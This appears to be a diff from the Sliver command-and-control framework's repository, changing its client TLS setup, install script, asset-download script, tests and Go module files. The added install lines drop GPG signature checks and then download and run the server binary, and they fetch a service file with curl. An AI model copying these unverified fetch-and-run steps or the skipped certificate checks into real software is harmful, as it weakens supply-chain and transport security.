 	"fmt"
@@ -52,13 +51,12 @@ func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.Clie
 	}
 	creds := credentials.NewTLS(tlsConfig)
 	options := []grpc.DialOption{
+		grpc.WithTimeout(defaultTimeout),
 		grpc.WithTransportCredentials(creds),
 		grpc.WithBlock(),
 		grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)),
 	}
-	ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
-	defer cancel()
-	connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
+	connection, err := grpc.Dial(fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...)
 	if err != nil {
 		return nil, nil, err
 	}
@@ -83,16 +81,17 @@ func getTLSConfig(caCertificate string, certificate string, privateKey string) (
 		RootCAs:            caCertPool,
 		InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing
 		VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
-			return RootOnlyVerifyCertificate(caCertificate, rawCerts)
+			return rootOnlyVerifyCertificate(caCertificate, rawCerts)
 		},
 	}
+	tlsConfig.BuildNameToCertificate()
 	return tlsConfig, nil
 }
 
-// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
-// we have to disable all of the certificate validation and re-implement everything.
+// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
+// we have to disable all of the fucking certificate validation and re-implement everything.
 // https://github.com/golang/go/issues/21971
-func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
+func rootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
 
 	roots := x509.NewCertPool()
 	ok := roots.AppendCertsFromPEM([]byte(caCertificate))

docs/install

@@ -1,22 +1,15 @@
 #!/bin/bash
 set -e
 
-SLIVER_GPG_KEY_ID=4449039C
-
-if [ "$EUID" -ne 0 ]
-  then echo "Please run as root"
-  exit
-fi
-
 if [ -n "$(command -v yum)" ]
 then
-    yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
+    sudo -S -p '' yum -y install zip unzip curl gcc gcc-c++ make mingw64-gcc
 fi
 
 if [ -n "$(command -v apt-get)" ]
 then
-    DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
-        zip unzip gpg curl build-essential \
+    DEBIAN_FRONTEND=noninteractive sudo -S -p '' apt-get install -yqq \
+        zip unzip curl build-essential \
         mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi
 
@@ -38,69 +31,9 @@ then
     echo "zip could not be found"
     exit 1
 fi
-# GPG
-if ! command -v gpg &> /dev/null
-then
-    echo "gpg could not be found"
-    exit 1
-fi
 
-cd /root
-echo "Running from $(pwd)"
-
-gpg --import <<EOF
------BEGIN PGP PUBLIC KEY BLOCK-----
-
-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
-=lxj2
------END PGP PUBLIC KEY BLOCK-----
-EOF
+cd $HOME
+echo "Running from $HOME"
 
 #
 # Download and Unpack Sliver Server
@@ -124,73 +57,44 @@ do
     fi
 done
 
-echo "Verifying signatures ..."
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
-
-if test -f "/root/$SLIVER_SERVER_ZIP"; then
-    unzip -o /root/$SLIVER_SERVER_ZIP -d /root
-    rm -f /root/$SLIVER_SERVER_ZIP
+if test -f "$SLIVER_SERVER_ZIP"; then
+    unzip -o $SLIVER_SERVER_ZIP -d $HOME
+    rm -f $SLIVER_SERVER_ZIP
 else 
     exit 2
 fi
 
-if test -f "/root/$SLIVER_SERVER"; then
-    chmod 755 /root/$SLIVER_SERVER
-    /root/$SLIVER_SERVER unpack --force
+if test -f "$HOME/$SLIVER_SERVER"; then
+    chmod 755 $HOME/$SLIVER_SERVER
+    $HOME/$SLIVER_SERVER unpack --force
 else
     exit 3
 fi
 
-if test -f "/root/$SLIVER_CLIENT_ZIP"; then
-    unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
-    rm -f /root/$SLIVER_CLIENT_ZIP
+if test -f "$SLIVER_CLIENT_ZIP"; then
+    unzip -o $SLIVER_CLIENT_ZIP -d $HOME
+    rm -f $SLIVER_CLIENT_ZIP
 else 
     exit 2
 fi
 
-if test -f "/root/$SLIVER_CLIENT"; then
-    chmod 755 /root/$SLIVER_CLIENT 
-    cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+if test -f "$HOME/$SLIVER_CLIENT"; then
+    chmod 755 $HOME/$SLIVER_CLIENT 
+    cp -vv $HOME/$SLIVER_CLIENT /usr/local/bin/sliver
     chmod 755 /usr/local/bin/sliver
 else
     exit 3
 fi
 
 # systemd
-echo "Configuring systemd service ..."
-cat > /etc/systemd/system/sliver.service <<-EOF
-[Unit]
-Description=Sliver
-After=network.target
-StartLimitIntervalSec=0
-
-[Service]
-Type=simple
-Restart=on-failure
-RestartSec=3
-User=root
-ExecStart=/root/sliver-server daemon
-
-[Install]
-WantedBy=multi-user.target
-EOF
+curl -o ./sliver.service https://sliver.sh/sliver.service
+cp ./sliver.service /etc/systemd/system/sliver.service
 chown root:root /etc/systemd/system/sliver.service
 chmod 600 /etc/systemd/system/sliver.service
 systemctl start sliver
+rm -f ./sliver.service
 
-# Generate local configs
-echo "Generating operator configs ..."
-mkdir -p /root/.sliver-client/configs
-/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
-chown -R root:root /root/.sliver-client/
-
-USER_DIRS=(/home/*)
-for USER_DIR in "${USER_DIRS[@]}"; do
-    USER=$(basename $USER_DIR)
-    if id -u $USER >/dev/null 2>&1; then
-        mkdir -p $USER_DIR/.sliver-client/configs
-        /root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
-        chown -R $USER:$USER $USER_DIR/.sliver-client/
-    fi
-done
+# generate local configs
+mkdir -p $HOME/.sliver-client/configs
+/root/sliver-server operator --name $USER --lhost localhost --save $HOME/.sliver-client/configs
+chown -R $USER:$USER $HOME/.sliver-client/

go-assets.sh

@@ -19,13 +19,11 @@
 
 # Creates the static go asset archives
 
-GO_VER="1.17"
-GARBLE_VER="1.17.1"
-COFF_LOADER_VER="1.0.5"
+GO_VER="1.16.7"
+GARBLE_VER="1.16.7"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
-GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -49,7 +47,6 @@ fi
 
 REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
 OUTPUT_DIR=$REPO_DIR/server/assets/fs
-CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
 WORK_DIR=`mktemp -d`
 
 echo "-----------------------------------------------------------------"
@@ -133,10 +130,6 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
 
-# --- Client ---
-mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
-mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
-
 echo "-----------------------------------------------------------------"
 echo " Garble"
 echo "-----------------------------------------------------------------"
@@ -145,12 +138,6 @@ curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/mo
 curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
 curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
-echo "-----------------------------------------------------------------"
-echo " COFF Loader"
-echo "-----------------------------------------------------------------"
-curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
-curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
-
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go-tests.sh

@@ -32,6 +32,7 @@ else
     exit 1
 fi
 
+
 ## Server
 
 # server / website
@@ -82,22 +83,6 @@ else
     exit 1
 fi
 
-# server / configs
-if go test -tags=server ./server/configs ; then
-    :
-else
-    cat ~/.sliver/logs/sliver.log
-    exit 1
-fi
-
-# server / console
-if go test -tags=server ./server/console ; then
-    :
-else
-    cat ~/.sliver/logs/sliver.log
-    exit 1
-fi
-
 # server / generate
 if go test -tags=server ./server/generate -timeout 6h ; then
     :

go.mod

@@ -1,6 +1,6 @@
 module github.com/bishopfox/sliver
 
-go 1.17
+go 1.16
 
 // fix wgctrl requiring old wireguard
 replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
@@ -9,11 +9,10 @@ require (
 	github.com/AlecAivazis/survey/v2 v2.2.2
 	github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
 	github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
-	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
-	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.4.16 // indirect
 	github.com/alecthomas/chroma v0.8.1
+	github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
 	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
 	github.com/desertbit/go-shlex v0.1.1
@@ -25,7 +24,6 @@ require (
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
-	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
 	github.com/lesnuages/go-winio v0.4.19
@@ -35,7 +33,6 @@ require (
 	github.com/mattn/go-sqlite3 v1.14.5
 	github.com/miekg/dns v1.1.35
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
-	github.com/pquerna/otp v1.3.0
 	github.com/sergi/go-diff v1.1.0 // indirect
 	github.com/sirupsen/logrus v1.7.0
 	github.com/spf13/cobra v1.1.1
@@ -43,7 +40,6 @@ require (
 	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
 	golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
 	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
-	golang.org/x/text v0.3.6
 	golang.zx2c4.com/wireguard v0.0.20200121
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
 	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
@@ -54,47 +50,6 @@ require (
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
-	gorm.io/gorm v1.21.14
+	gorm.io/gorm v1.20.6
 	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
 )
-
-require (
-	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
-	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
-	github.com/VividCortex/ewma v1.1.1 // indirect
-	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
-	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
-	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
-	github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
-	github.com/davecgh/go-spew v1.1.1 // indirect
-	github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
-	github.com/desertbit/closer/v3 v3.1.2 // indirect
-	github.com/desertbit/readline v1.5.1 // indirect
-	github.com/dlclark/regexp2 v1.2.0 // indirect
-	github.com/go-sql-driver/mysql v1.5.0 // indirect
-	github.com/golang/protobuf v1.5.2 // indirect
-	github.com/google/btree v1.0.1 // indirect
-	github.com/hashicorp/errwrap v1.1.0 // indirect
-	github.com/inconshreveable/mousetrap v1.0.0 // indirect
-	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
-	github.com/jackc/pgconn v1.7.0 // indirect
-	github.com/jackc/pgio v1.0.0 // indirect
-	github.com/jackc/pgpassfile v1.0.0 // indirect
-	github.com/jackc/pgproto3/v2 v2.0.5 // indirect
-	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
-	github.com/jackc/pgtype v1.5.0 // indirect
-	github.com/jackc/pgx/v4 v4.9.0 // indirect
-	github.com/jinzhu/inflection v1.0.0 // indirect
-	github.com/jinzhu/now v1.1.2 // indirect
-	github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
-	github.com/mattn/go-colorable v0.1.8 // indirect
-	github.com/mattn/go-runewidth v0.0.9 // indirect
-	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
-	github.com/pmezard/go-difflib v1.0.0 // indirect
-	github.com/spf13/pflag v1.0.5 // indirect
-	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
-	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
-	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
-)

go.sum

@@ -17,15 +17,10 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
 github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
 github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
 github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
-github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
 github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
 github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
-github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
-github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
 github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
-github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
-github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
 github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
 github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
 github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
@@ -41,7 +36,6 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
 github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
 github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
 github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
-github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
 github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
 github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
 github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
@@ -56,16 +50,12 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
 github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
 github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
 github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
-github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
-github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
-github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
-github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
 github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
 github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
 github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
+github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
+github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
 github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
-github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
-github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
 github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
 github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
 github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
@@ -123,7 +113,6 @@ github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGE
 github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
 github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
 github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
-github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
 github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
@@ -272,14 +261,10 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
 github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
-github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
-github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
 github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
 github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
 github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
 github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
-github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
-github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
